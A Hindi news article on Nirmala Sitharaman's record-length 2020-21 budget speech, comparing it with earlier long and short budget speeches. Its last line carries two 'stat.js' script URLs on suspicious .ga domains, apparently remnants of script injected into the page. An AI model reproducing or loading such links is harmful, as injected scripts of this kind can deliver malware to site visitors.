Tuesday, January 25

इंदिरा, मनमोहन और जसवंत सिंह का रिकॉर्ड टु’टा, मोदी सरकार के वित्तमंत्री ने बजट में रिकॉर्ड तो’डा

Modi 2.0 के दूसरे बजट पर विशेषज्ञ प्रतिक्रिया जो भी हो लेकिन इस भाषण ने एक अनोखा रिकॉर्ड कायम किया है। ये रिकॉर्ड है इतिहास के सबसे लंबे बजट भाषण का। जी हां, वित्त मंत्री निर्मला सीतारमण ने संसद में वित्तीय वर्ष 2020-21 का बजट पेश करने के दौरान दो घंटे से ज्यादा देर तक भाषण दिया। वित्त मंत्री निर्मला सीतारमण ने सुबह 11 बजे बजट भाषण पढ़ना शुरू किया। उनका भाषण दोपहर 1:43 बजे समाप्त हुआ। मतलब वित्त मंत्री निर्मला सीतारमण दो घंटे 43 मिनट (2:43 घंटे) तक लगातार बोलती रहीं। खास बात ये है कि उन्होंने अपना पूरा भाषण खड़े-खड़े पढ़ा।

उनका बजट भाषण अभी और लंबा होता, लेकिन लगातार करीब पौने तीन घंटे तक खड़े होकर बोलने की वजह से अंत में उनकी तबियत थोड़ी खराब हो गई। इसके बाद उन्होंने बजट भाषण के अंतिम दो पन्न पढ़े ही नहीं। इसके लिए उन्होंने लोकसभा अध्यक्ष से अनुमति ली। लोकसभा अध्यक्ष ओम बिड़ला की अनुमति के बाद निर्मला सीतारमण का बजट भाषण पूरा पढ़ा हुआ मान लिया गया। इसके साथ ही वित्त मंत्री ने बजट भाषण खत्म कर, उसे सदन के पटल पर रख दिया।

 

 

 

वित्त मंत्री निर्मला सीतारमण ने मोदी सरकार के दूसरे कार्यकाल का बजट पेश करने के दौरान 17 साल पुराना रिकॉर्ड तोड़ दिया। समयावधि के हिसाब से निर्मला सीतारमण ने अब तक का सबसे लंबा बजट भाषण पढ़ा है, वो भी तब जबकि उसे पूरा नहीं पढ़ा जा सका। इससे पहले सबसे लंबा बजट भाषण पढ़ने का रिकॉर्ड भाजपा के ही नेता जसवंत सिंह के नाम दर्ज था। अटल बिहारी वाजपेयी सरकार में वित्त मंत्री रहते हुए जसवंत सिंह ने वर्ष 2003 में अब तक का सबसे लंबा बजट भाषण पढ़ा था। उनके इस बजट भाषण की समयावधि दो घंटे 13 मिनट (2:13 घंटे) थी।


समयावधि के अलावा अगर शब्द सीमा के हिसाब से सबसे लंबे बजट भाषण की बात की जाए तो निर्मला सीतारमण ने ये रिकॉर्ड भी अपने नाम कर लिया है। सबसे ज्यादा शब्द संख्या वाले बजट भाषण का उनसे पहले बतौर वित्त मंत्री मनमोहन सिंह ने इतना लंबा बजट भाषण दिया था। उन्होंने वर्ष 1991 में 18,520 शब्दों का बजट भाषण पढ़ा था। इसके बाद सबसे ज्यादा शब्दों वाला बजट भाषण मोदी सरकार के पहले कार्यकाल के दौरान वित्त मंत्री रहे अरुण जेटली ने पढ़ा था। अरुण जेटली ने वर्ष 2017 में 18,604 शब्दों का, वर्ष 2015 में 18,122 शब्दों का और वर्ष 2018 में 17,991 शब्दों का बजट भाषण पढ़ा था। निर्मला सीतारमण का बजट भाषण कितने शब्दों का है, ये अभी स्पष्ट नहीं है। हालांकि उनकी 2:43 घंटे की समयावधि को देखते हुए माना जा रहा कि उन्होंने शब्द संख्या के मामले में भी अब तक का सबसे लंबा बजट भाषण पढ़ा है।

 

 

सबसे लंबे बजट भाषण के बारे में तो आपको पता चल गया। अब अगर बात करें इतिहास के सबसे छोटे बजट भाषण की तो ये रिकॉर्ड पूर्व वित्त मंत्री हिरूभाई एम पटेल के नाम दर्ज है। वर्ष 1977 में केंद्रीय वित्त मंत्री रहे हिरूभाई ने महज 800 शब्दों का बजट भाषण पढ़ा था। हालांकि ये अंतरिम बजट था। सबसे छोड़ा पूर्ण बजट वर्ष 1952 में पढ़ा गया था। तत्कालीन वित्तमंत्री सीडी देशमुख ने इतिहास का सबसे छोटा पूर्ण कालिक बजट पढ़ा था। ये पूर्ण कालिक बजट मात्र 4,454 शब्दों का था।

वित्त मंत्री निर्मला सीतारमण ने शनिवार को मोदी 2.0 का दूसरा बजट पेश करते हुए पूर्व प्रधानमंत्री इंदिरा गांधी का भी एक रिकॉर्ड तोड़ दिया है। अब तक इंदिरा गांधी ही एक मात्र ऐसी महिला वित्त मंत्री थीं, जिन्होंने लगातार दो बार संसद में बजट प्रस्तुत किया था। हालांकि, इंदिरा गांधी के पास तब वित्त मंत्रालय का अतिरिक्त प्रभार था। निर्मला सीतारमण ने शनिवार को बजट भाषण के जरिये इंदिरा गांधी का ये रिकॉर्ड भी तोड़ दिया। वह ऐसी पहली पूर्णकालिक महिला वित्त मंत्री हैं, जिन्होंने लगातार दूसरी बार संसद में बजट पेश किया है।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms

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